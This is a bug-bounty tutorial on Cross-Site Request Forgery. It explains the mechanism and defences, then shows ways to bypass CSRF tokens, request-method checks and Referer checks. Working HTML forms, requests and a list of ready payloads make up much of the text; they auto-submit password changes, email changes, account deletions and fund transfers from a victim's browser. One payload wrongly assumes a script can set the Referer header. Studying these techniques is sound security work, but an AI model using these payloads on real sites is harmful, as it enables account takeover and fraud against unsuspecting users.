Bug Bounty Hunting: Web Vulnerability (Cross-Site Request Forgery)
Mastering CSRF: Techniques, Bypasses, and Exploits
Cross-Site Request Forgery (CSRF) is a client-side attack where a victim is tricked into unknowingly sending unintended HTTP requests. Attackers exploit authenticated sessions to perform unauthorized actions on behalf of the user. While they cannot read the responses, they can trigger state-changing requests such as changing passwords, transferring funds, or posting on social media. CSRF attacks often leverage malicious sites, embedded images, or stored XSS to deliver payloads, making them a significant security concern. Effective CSRF protection includes implementing CSRF tokens, enforcing same-site request policies, and validating referrer headers to prevent unauthorized actions.
Mechanism
- Websites authenticate users via session cookies.
- Browsers automatically attach these cookies with each request.
- CSRF exploits this by making the victim unknowingly submit a request.
- Example: An attacker embeds a form in a malicious site that submits a request to Twitter.
CSRF Exploitation
- Basic CSRF attack: A hidden HTML form submits a request when the victim clicks a button.
- Advanced CSRF attack: Uses an invisible iframe and JavaScript to auto-submit a form without user interaction.
Prevention Methods
- CSRF Tokens: Unique, random tokens added to each form and validated on submission. Prevents unauthorized requests without a valid token.
- SameSite Cookies: Prevents browsers from sending cookies with cross-site requests.
Strictmode: Blocks all cross-site requests. WhileLaxmode: Allows cookies only on top-level navigation. - Avoiding GET Requests for Sensitive Actions: State-changing actions (password changes, transactions) should use POST requests, and GET requests can be exploited via malicious links.
Bypassing CSRF Protection
Modern websites are becoming more secure. These days, when you examine requests that deal with sensitive actions, they’ll often have some form of CSRF protection. However, the existence of protections doesn’t mean that the protection is comprehensive, well-implemented, and impossible to bypass. If the protection is incomplete or faulty, you might still be able to achieve a CSRF attack with a few modifications to your payload. Let’s discuss techniques you can use to bypass CSRF protection implemented on websites.
- Exploit Clickjacking: If the endpoint uses CSRF tokens but the page itself is vulnerable to clickjacking, an attacker can exploit clickjacking to achieve the same results as a CSRF attack.
Clickjacking attacks use an iframe to frame a page in a malicious site while having the state-changing request originate from the legitimate site. If the page where the vulnerable endpoint is located is susceptible to clickjacking, the attacker can achieve the same results as a CSRF attack with additional effort and CSS skills.
To check for clickjacking, use an HTML page like the following:
<html>
<head>
<title>Clickjack test page</title>
</head>
<body>
<p>This page is vulnerable to clickjacking if the iframe is not blank!</p>
<iframe src="PAGE_URL" width="500" height="500"></iframe>
</body>
</html>2. Change the Request Method: Some sites accept multiple request methods for the same endpoint but might not have protection in place for each method. Changing the request method may allow you to bypass CSRF protection.
For example, if a password-change endpoint is protected via CSRF tokens in a POST request:
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65bYou can attempt the same request with a GET method:
GET /password_change?new_password=abc123
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIEIf successful, the malicious HTML page could look like this:
<html>
<img src="https://email.example.com/password_change?new_password=abc123"/>
</html>3. Bypass CSRF Tokens Stored on the Server: If clickjacking and request method manipulation don’t work, and the site implements CSRF tokens, try the following:
- Delete the token parameter or send a blank token parameter:
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
(POST request body)
new_password=abc123<html>
<form method="POST" action="https://email.example.com/password_change" id="csrf-form">
<input type="text" name="new_password" value="abc123">
<input type='submit' value="Submit">
</form>
<script>document.getElementById("csrf-form").submit();</script>
</html>- Send a valid CSRF token from another session:
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
(POST request body)
new_password=abc123&csrf_token=YOUR_TOKENIf the application logic does not validate whether the token belongs to the current user, this technique may work.
4. Bypass Double-Submit CSRF Tokens: Some sites use a double-submit cookie mechanism where the CSRF token is sent both as a cookie and a request parameter, and the server verifies their match. If the server doesn’t store valid tokens, the following attack can work:
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=not_a_real_token
(POST request body)
new_password=abc123&csrf_token=not_a_real_tokenBy making the victim’s browser store a forged CSRF token cookie via session fixation techniques, an attacker can execute the CSRF successfully.
5. Bypass CSRF Referer Header Check: If a website verifies the referer header instead of using CSRF tokens, try these bypass techniques:
- Remove the referer header:
<html>
<meta name="referrer" content="no-referrer">
<form method="POST" action="https://email.example.com/password_change" id="csrf-form">
<input type="text" name="new_password" value="abc123">
<input type='submit' value="Submit">
</form>
<script>document.getElementById("csrf-form").submit();</script>
</html>- Manipulate the referer check logic:
- Use a subdomain like
example.com.attacker.com - Use a pathname like
attacker.com/example.com
By hosting the malicious HTML page at one of these URLs, the referer check might be tricked into allowing the request.
An application with weak CSRF protection allows attackers toset passwords for users who signed up via social media but haven’t set one yet. By exploiting a missing CSRF token validation, an attacker can craft an HTML page that auto-submits a password reset request, gaining unauthorized access to victim accounts. Attackers deliver CSRF payloads through:
- Malicious Sites — Trick users into visiting an external page that executes the attack.
- Embedded Images — Use a GET request in an
<img>tag to trigger the exploit. - Stored XSS — Inject JavaScript into vulnerable comment fields to auto-submit CSRF forms.
Bypass Payloads
1. Basic CSRF Attack
<form action="https://target.com/change-email" method="POST"><input type="hidden" name="email" value="attacker@example.com"><input type="submit"></form><script>document.forms[0].submit();</script>
2. CSRF via Image Injection
<img src="https://target.com/logout" onerror="fetch('https://target.com/delete-account', {method: 'POST', credentials: 'include'});">
3. CSRF via JavaScript Fetch API
fetch('https://target.com/update', { method: 'POST', credentials: 'include', body: 'param=value' });
4. CSRF via Auto-Submit Form (Hidden Execution)
<iframe name="csrf" style="display:none;"></iframe><form action="https://target.com/transfer" method="POST" target="csrf"><input type="hidden" name="amount" value="10000"><input type="hidden" name="to" value="attacker"><input type="submit"></form><script>document.forms[0].submit();</script>
5. CSRF with JSON Payload & Misconfigured CORS
fetch('https://target.com/api/update', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({"username": "attacker"}) });
6. CSRF Token Bypass via Referer Spoofing (If Allowed)
fetch('https://target.com/delete', { method: 'POST', headers: { 'Referer': 'https://target.com' }, credentials: 'include' });
7. CSRF via Flash (Legacy Browsers, Rare but Cool)
<policy-file-request/>
<cross-domain-policy><allow-access-from domain="*" /></cross-domain-policy>- Used in Flash-based attacks to abuse insecure cross-domain policies.
